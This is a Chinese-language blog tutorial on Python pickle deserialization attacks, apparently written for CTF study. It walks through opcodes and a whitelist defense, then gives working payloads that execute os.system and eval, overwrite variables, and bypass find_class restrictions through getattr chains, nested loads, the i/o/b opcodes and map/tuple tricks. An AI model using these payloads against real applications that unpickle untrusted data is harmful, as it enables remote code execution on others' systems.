pickle反序列化

简介

  • pickle是python中实现对象序列化与反序列化的模块,序列化后的数据格式为二进制字节流

  • 序列化后的二进制字节流由opcode所组成,通过编写opcode并使用pickle加载可以进行python代码执行变量覆盖等操作。

  • pickle模块能够序列化的对象如下:

    • NoneTrueFalse
    • 整数、浮点数、复数
    • strbytebytearray
    • 只包含可打包对象的集合,包括 tuple、list、set 和 dict
    • 定义在模块顶层的函数(使用 def 定义,lambda 函数则不可以)
    • 定义在模块顶层的内置函数
    • 定义在模块顶层的类
    • 某些类实例,这些类的 __dict__ 属性值或 __getstate__() 函数的返回值可以被打包(详情参阅 打包类实例 这一段)
  • pickle常用API

    1
    2
    3
    4
    5
    6
    7
    8
    9
    #将对象序列化并输出字节流
    pickle.dumps(obj, protocol=None, *, fix_imports=True) -> bytes
    #将字节流反序列化为对象并返回
    pickle.loads(data, *, fix_imports=True, encoding="ASCII", errors="strict") -> object

    #如果file参数被指定则将字节流写入文件file,file需要以wb格式打开。
    pickle.dump(obj, file, protocol=None, *, fix_imports=True, buffer_callback=None)
    #如果file参数被指定则从file中读取对象,file需要以rb格式打开。
    pickle.load(file, *, fix_imports=True, encoding='ASCII', errors='strict', buffers=None)
  • __reduce__ : object类的一个魔术方法,类在实例化时会触发,因此重写类的__reduce__ 方法能控制类的实例化过程,这也是利用的重点。Python要求该方法返回一个字符串或者元组。如果返回元组(callable, ([para1,para2...])[,...]) ,那么每当该类的对象被反序列化时,该callable就会被调用,参数为para1、para2...

opcode与PVM

opcode

pickle可以看作是一种独立的栈语言,它由一串串opcode(指令集)组成,opcode的解析由PVM(Pickle Virtual Machine)完成,PVM由三部分组成,分别是:

  • stack:由list实现,用于临时存储数据、参数以及对象。
  • memo:由dict实现,为PVM整个生命周期提供存储。
  • 指令处理器:读取识别opcode与参数,对其解释处理,直到终止符.结束,最后返回栈顶的值作为反序列化对象。

pickle协议向前兼容,因此v0版本可以完全兼容pickle.load()目前共有五种协议的opcode,opcode释义、pickle版本、PVM解析实例见附录。

example

利用opcode执行系统命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import pickle
import pickletools

# c[moudle]\n[instance]\n 代表导入函数module.instance并压入stack
# (S'id' 代表向stack中压入一个MARK,同时声明一个字符串'id'并压入stack
# t代表寻找stack之中的MARK,并将其组合为数组,最后通过R执行os.system('id')
# . 代表结束
opcode = b'''cos
system
(S'id'
tR.'''

pickle.loads(opcode)
pickletools.dis(opcode) #使用pickletools将opcode转化为易读的格式
'''
uid=1000(spring) gid=0(root) groups=0(root)
0: c GLOBAL 'os system'
11: ( MARK
12: S STRING 'id'
18: t TUPLE (MARK at 11)
19: R REDUCE
20: . STOP
highest protocol among opcodes = 0
'''

利用方式

实例化对象

实例化对象的过程可以看作是调用构造函数的过程,因此通过opcode实例化对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import pickle

class person:
def __init__(self,name,age) -> None:
self.name = name
self.age = age
pass

opcode = b'''c__main__
person
(S'Alice'
I18
tR.
'''

person = pickle.loads(opcode)
print(person)
'''
<__main__.person object at 0x7f3c99291520>
'''

命令执行

重写__reduce__方法可以在反序列化时执行命令,但只能执行一次,使用opcode则可以执行多条指令,原因是opcode在没有出现.时不会停止加载,比如:

1
2
3
4
5
6
7
opcode=b'''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.'''

在pickle中能够执行函数的字节码有三个分别是:R, i, o,他们的加载机制如下:

  • R:直接将MARK与函数组合并执行。
  • i:相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)。
  • o:寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#R
opcode1=b'''cos
system
(S'whoami'
tR.'''
#i
opcode2=b'''(S'whoami'
ios
system
.'''
#o
opcode3=b'''(cos
system
S'whoami'
o.'''

变量覆盖

在python编写的后端代码中,由于需要存储用户凭证经常需要session或cookie,它们一般存在于主函数模块或类中,如果是以明文存储的就存在变量覆盖的风险。

在pickle中,反序列化后的属性key=value是以字典的方式即{key:value}的方式存储的,因此我们在opcode中通过字节码d组合出字典{key:evil},再使用字节码b执行__dict__.update()更新字典最终就可以覆盖属性key的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle
import secret

print("secret变量的值为:"+secret.secret) # key123

opcode=b'''c__main__
secret
(S'secret'
S'hack'
db.'''
fake=pickle.loads(opcode)

print("secret变量的值为:"+fake.secret) # hack

防御

对于pickle反序列化的防御有点类似于apache一开始对CC组件的java反序列化防御,都是重写类的加载过程,java中重写的是ObjectInputStream.resolveClass(),python中重写的是Unpickler.find_class(),为module, name设置白名单用于过滤用户对于恶意模块的获取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import builtins
import io
import pickle

safe_builtins = {
'range',
'complex',
'set',
'frozenset',
'slice',
}

class RestrictedUnpickler(pickle.Unpickler):

#重写了find_class方法
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name in safe_builtins:
#限制模块只能是builtins内置模块并且类名要处于白名单内
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))

def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()

opcode=b"cos\nsystem\n(S'echo hello world'\ntR."
restricted_loads(opcode)


'''
Traceback (most recent call last):
...
_pickle.UnpicklingError: global 'os.system' is forbidden
'''

绕过

想要绕过find_class,我们则需要了解其调用时机。在官方文档中描述如下

出于这样的理由,你可能会希望通过定制 Unpickler.find_class() 来控制要解封的对象。 与其名称所提示的不同,**Unpickler.find_class() 会在执行对任何全局对象(例如一个类或一个函数)的请求时被调用**。 因此可以完全禁止全局对象或是将它们限制在一个安全的子集中。

opcode中有三个字节码与全局对象有关:c, i, \x93。当opcode中存在这三个字节码时便会调用Unpickler.find_class(),因此我们在使用它们时不违反限制即可。

绕过builtins

getattr

前面提到了Unpickle对于builtins模块的过滤如下:

1
2
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)

builtins模块中包含了许多内置函数,在python中不需要import导入我们就可以使用这些内置函数,比如int()print()。解释器在启动时自动导入了builtins模块,因此这些内置函数可以直接使用,使用代码for i in sys.modules['builtins'].__dict__:print(i,end=',')来查看内置函数:

1
2
3
4
>>>import sys
>>>for i in sys.modules['builtins'].__dict__:print(i,end = ',')

__name__,__doc__,__package__,__loader__,__spec__,__build_class__,__import__,abs,all,any,ascii,bin,breakpoint,callable,chr,compile,delattr,dir,divmod,eval,exec,format,getattr,globals,hasattr,hash,hex,id,input,isinstance,issubclass,iter,len .....

如果指定了模块为`builtins,同时设置了函数黑名单,如:

1
blacklist={'eval','exec','open','__import__','exit','input'}

我们可以借用getattr()来获取我们需要的函数模块,如果直接使用'''cbuiltins\ngetattr'''将模块压入stack会报错,原因在于同时把对象和字符串压入,因此要使用builtins.globals().get('builtins')来获取模块。改成opcode就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle,builtins

payload=b"""cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tR.
"""
a=pickle.loads(payload)
print(a)

最后就可以获取eval执行命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
opcode = b"""cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRS'eval'
tRp1
(S'__import__("os").system("whoami")'
tR."""

getattr+o

R被过滤时也可以使用o平替:

1
opcode = b'\x80\x03(cbuiltins\ngetattr\np0\ncbuiltins\ndict\np1\nX\x03\x00\x00\x00getop2\n0(g2\n(cbuiltins\nglobals\noX\x0C\x00\x00\x00__builtins__op3\n(g0\ng3\nX\x04\x00\x00\x00evalop4\n(g4\nX\x21\x00\x00\x00__import__("os").system("whoami")o.'

v3版本套娃pickle

思路是利用内置函数载入pickle,使用pickle.loads()来绕过find_class(),有点像java的二次反序列化绕过,但是pickle.loads()需要参数为bytes类型,v0版本不支持直接传入bytes类型,并且encode()函数也无法导入,直到v3版本引入了BC字节码处理bytes类型。

依然先使用getattr()绕过对于builtins的过滤获取get()以拿到pickle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle
import builtins
import pickletools

class Op:
def __reduce__(self):
return (getattr,(builtins.dict,'get',))

op=Op()
opcode=pickle.dumps(op,protocol=3)
print(opcode)
'''
b'\x80\x03cbuiltins\ngetattr\nq\x00cbuiltins\ndict\nq\x01X\x03\x00\x00\x00getq\x02\x86q\x03Rq\x04.'
'''# 其中q\0xn可以去掉

然后获取pickle.loads:

1
2
3
4
5
import pickle

opcode=b"\x80\x03cbuiltins\ngetattr\n(cbuiltins\ngetattr\ncbuiltins\ndict\nX\x03\x00\x00\x00get\x86R(cbuiltins\nglobals\n)RS'pickle'\ntRS'loads'\ntR."
print(pickle.loads(opcode))
'<built-in function loads>''

最后使用v3版本的字节码C修饰恶意opcode,再执行pickle.loads即可:

1
2
3
# 二次加载的opcode:C\x19cos\nsystem\n(S'whoami'\ntR.
#与上文获取到的pickle.loads()结合好后就是
opcode=b"\x80\x03cbuiltins\ngetattr\n(cbuiltins\ngetattr\ncbuiltins\ndict\nX\x03\x00\x00\x00get\x86R(cbuiltins\nglobals\n)RS'pickle'\ntRS'loads'\ntRC\x19cos\nsystem\n(S'whoami'\ntR.\x85R."

绕过R指令

i指令

i操作符对应的函数原型如下:

1
2
3
4
5
def load_inst(self):
module = self.readline()[:-1].decode("ascii")
name = self.readline()[:-1].decode("ascii")
klass = self.find_class(module, name)
self._instantiate(klass, self.pop_mark())

向下读取两行作为modulename,然后find_class()返回函数模块,最后弹栈pop_mark()获取MARK,使用_instantiate执行。

1
2
3
4
opcode = b'(X\x06\x00\x00\x00whoamiios\nsystem\n.'
# (与i对应,i操作符寻找上一个MARK并闭合。
# X向后读取四个字符串并压入栈。
# i继续向后读取

o指令

o操作符对应的函数如下:

1
2
3
4
5
def load_obj(self):
# Stack is ... markobject classobject arg1 arg2 ...
args = self.pop_mark()
cls = args.pop(0)
self._instantiate(cls, args)

先弹出栈中一个元素作为args,也就是参数,而后再弹出第一个元素作为函数,调用_instantiate函数自执行。

1
opcode = b'(cos\nsystem\nX\x06\x00\x00\x00whoamio.'

b指令

b操作符对应的函数如下:

1
2
3
4
5
6
7
8
9
def load_build(self):
stack = self.stack
state = stack.pop()
inst = stack[-1]
setstate = getattr(inst, "__setstate__", None)
if setstate is not None:
setstate(state)
return
#.....

首先弹栈获取为state,然后获取栈中的__setstate__,当栈中存在__setstate__时,执行setstate(state)。因此自定义一个__setstate__类,分别构造os.systemwhoami即可执行命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import pickle
class tttang:
def __init__(self):
self.name="quan9i"
opcode=b'c__main__\ntttang\n)\x81}X\x0C\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.'
b=pickle.loads(opcode)
#解读
'''
字符c,往后读取两行,得到主函数和类,__main__.tttang
字符),向栈中压入空元祖()
字符},向栈中压入空字典{}
字符X,读取四位\x0C\x00\x00\x00__setstate__,得到__setstate__
字符c,向后读取两行,得到函数os.system
字符s,将第一个和第二个元素作为键值对,添加到第三个元素中,此时也就是{__main.tttang:()},__setstate__,os.system
字符b,第一个元素出栈,此时也就是{'__setstate__': os.system},此时执行一次setstate(state)
字符X,往后读取四位x06\x00\x00\x00whoami,即whoami
字符b,弹出元素whoami此时state为whoami,执行os.system(whoami)
'''

关键字过滤

V指令

V操作符可以实例化一个unicode对象,因此我们可以对关键字进行unicode编码进行绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#修改前
opcode = '''c__main__
secret
(S'key'
S'tttang'
db.'''

#修改后,绕过对于字符串'key'的检测
opcode = '''
c__main__
secret
(V\u006bey
S'tttang'
db.'''

十六进制

S操作符可以识别十六进制,同样可以用于绕过。

1
2
3
4
5
6
opcode = '''
c__main__
secret
(S'\x6bey'
S'tttang'
db.'''

获取内置函数

对于已导入的模块,我们可以通过sys.modules['xxx']来获取该模块,然后通过内置函数dir()来列出模块中的所有属性

1
2
3
print(dir(sys.modules['admin']))

#['__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'secret']

由于pickle不支持索引,所以使用reverse()以及next()实现对属性的遍历,就可以避免关键字的出现,最后结合变量覆盖即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
opcode = b'''c__main__
admin
(((((c__main__
admin
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next #在这里获取到secret
I1
db(S'admin'
I1
i__main__
User
.'''

内置函数执行

当R、i、o、b都被过滤时,要想实现代码执行就要考虑借助python内置函数,也就是对象迭代器:map()filter()

1
2
map(function, iterable, *iterables)
filter(function, iterable)

其实与CC1中的Transformer数组有点像,前一函数的返回值作为后一函数的参数传入,实现链式函数执行。CC1中需要执行ChainedTransformer(obj).transform()才能触发执行,这里使用map或filter也一样,需要执行__next_()才能触发执行,在python中称之为懒惰机制。

但是事实上执行map(eval, ['print(\'1\')']).__next__()后也无法触发执行,原因是

FROM __next__()

如果已经没有可返回的项,则会引发 StopIteration 异常。 此方法对应于 Python/C API 中 Python 对象类型结构体的 tp_iternext 槽位。

FROM tp_iternext

​ This function has the same signature as PyIter_Next().

FROM PyIter_Next()

从迭代器 o 返回下一个值。 对象必须可被 PyIter_Check() 确认为迭代器(需要调用方来负责检查)。 如果没有剩余的值,则返回 NULL 并且不设置异常。 如果在获取条目时发生了错误,则返回 NULL 并且传递异常。

因此想办法触发PyIter_Next即可,可以借用tuplebytes进行触发:

1
2
bytes.__new__(bytes, map.__new__(map, eval, ['print(1)']))  # bytes_new->PyBytes_FromObject->_PyBytes_FromIterator->PyIter_Next
tuple.__new__(tuple, map.__new__(map, exec, ["print('1')"])) # tuple_new_impl->PySequence_Tuple->PyIter_Next

其中__new__方法,也就是类构造方法可由操作码\x81触发,最后得到opcode就是;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
opcode_tuple=b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''

opcode_bytes=b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
bytes
p4
(g3
t\x81.'''

附录

相关题目

  • 强网杯 2022 crash 变量覆盖
  • SekaiCTF 2022 Bottle Poem
  • 美团CTF 2022 ezpickle 内置函数绕过代码执行
  • Code-Breaking 2018 picklecode getattr bypass
  • [CISCN2019 华北赛区 Day1 Web2]ikun

opcode速览

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
MARK           = b'('   # push special markobject on stack	⭐将值作为MARK压入栈中
STOP = b'.' # every pickle ends with STOP ⭐结尾符
POP = b'0' # discard topmost stack item
POP_MARK = b'1' # discard stack top through topmost markobject
DUP = b'2' # duplicate top stack item
FLOAT = b'F' # push float object; decimal string argument ⭐单精度值
INT = b'I' # push integer or bool; decimal string argument ⭐整型值
BININT = b'J' # push four-byte signed int
BININT1 = b'K' # push 1-byte unsigned int
LONG = b'L' # push long; decimal string argument
BININT2 = b'M' # push 2-byte unsigned int
NONE = b'N' # push None ⭐空值
PERSID = b'P' # push persistent object; id is taken from string arg
BINPERSID = b'Q' # " " " ; " " " " stack
REDUCE = b'R' # apply callable to argtuple, both on stack ⭐抽取MARK组合成tuple,回调。
STRING = b'S' # push string; NL-terminated string argument ⭐
BINSTRING = b'T' # push string; counted binary string argument ⭐
SHORT_BINSTRING= b'U' # " " ; " " " " &lt; 256 bytes
UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE = b'X' # " " " ; counted UTF-8 string argument
APPEND = b'a' # append stack top to list below it
BUILD = b'b' # call __setstate__ or __dict__.update() ⭐更新字典
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args ⭐将模块压入栈
DICT = b'd' # build a dict from stack items ⭐
EMPTY_DICT = b'}' # push empty dict ⭐
APPENDS = b'e' # extend list on stack by topmost stack slice
GET = b'g' # push item from memo on stack; index is string arg
BINGET = b'h' # " " " " " " ; " " 1-byte arg
INST = b'i' # build &amp; push class instance ⭐
LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg
LIST = b'l' # build list from topmost stack items ⭐
EMPTY_LIST = b']' # push empty list ⭐
OBJ = b'o' # build &amp; push class instance ⭐
PUT = b'p' # store stack top in memo; index is string arg
BINPUT = b'q' # " " " " " ; " " 1-byte arg
LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg
SETITEM = b's' # add key+value pair to dict
TUPLE = b't' # build tuple from topmost stack items
EMPTY_TUPLE = b')' # push empty tuple ⭐
SETITEMS = b'u' # modify dict by adding topmost key+value pairs
BINFLOAT = b'G' # push float; arg is 8-byte float encoding

TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py
FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py

# Protocol 2

PROTO = b'\x80' # identify pickle protocol
NEWOBJ = b'\x81' # build object by applying cls.__new__ to argtuple
EXT1 = b'\x82' # push object from extension registry; 1-byte index
EXT2 = b'\x83' # ditto, but 2-byte index
EXT4 = b'\x84' # ditto, but 4-byte index
TUPLE1 = b'\x85' # build 1-tuple from stack top
TUPLE2 = b'\x86' # build 2-tuple from two topmost stack items
TUPLE3 = b'\x87' # build 3-tuple from three topmost stack items
NEWTRUE = b'\x88' # push True
NEWFALSE = b'\x89' # push False
LONG1 = b'\x8a' # push long from &lt; 256 bytes
LONG4 = b'\x8b' # push really big long

_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]

# Protocol 3 (Python 3.x)

BINBYTES = b'B' # push bytes; counted binary string argument
SHORT_BINBYTES = b'C' # " " ; " " " " &lt; 256 bytes

# Protocol 4

SHORT_BINUNICODE = b'\x8c' # push short string; UTF-8 length &lt; 256 bytes
BINUNICODE8 = b'\x8d' # push very long string
BINBYTES8 = b'\x8e' # push very long bytes string
EMPTY_SET = b'\x8f' # push empty set on the stack
ADDITEMS = b'\x90' # modify set by adding topmost stack items
FROZENSET = b'\x91' # build frozenset from topmost stack items
NEWOBJ_EX = b'\x92' # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL = b'\x93' # same as GLOBAL but using names on the stacks
MEMOIZE = b'\x94' # store top of the stack in memo
FRAME = b'\x95' # indicate the beginning of a new frame

# Protocol 5

BYTEARRAY8 = b'\x96' # push bytearray
NEXT_BUFFER = b'\x97' # push next out-of-band buffer
READONLY_BUFFER = b'\x98' # make top of stack readonly

pickle版本速览

  • v0 版协议是原始的“人类可读”协议,并且向后兼容早期版本的 Python。
  • v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
  • v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进,请参阅 PEP 307
  • v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。
  • v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 PEP 3154

PVM解析动图

1.创建元组并插入元素

img

2.加载并调用函数模块

img

REF


pickle反序列化
http://example.com/2023/05/09/pickle反序列化/
Author
springtime
Posted on
May 9, 2023
Licensed under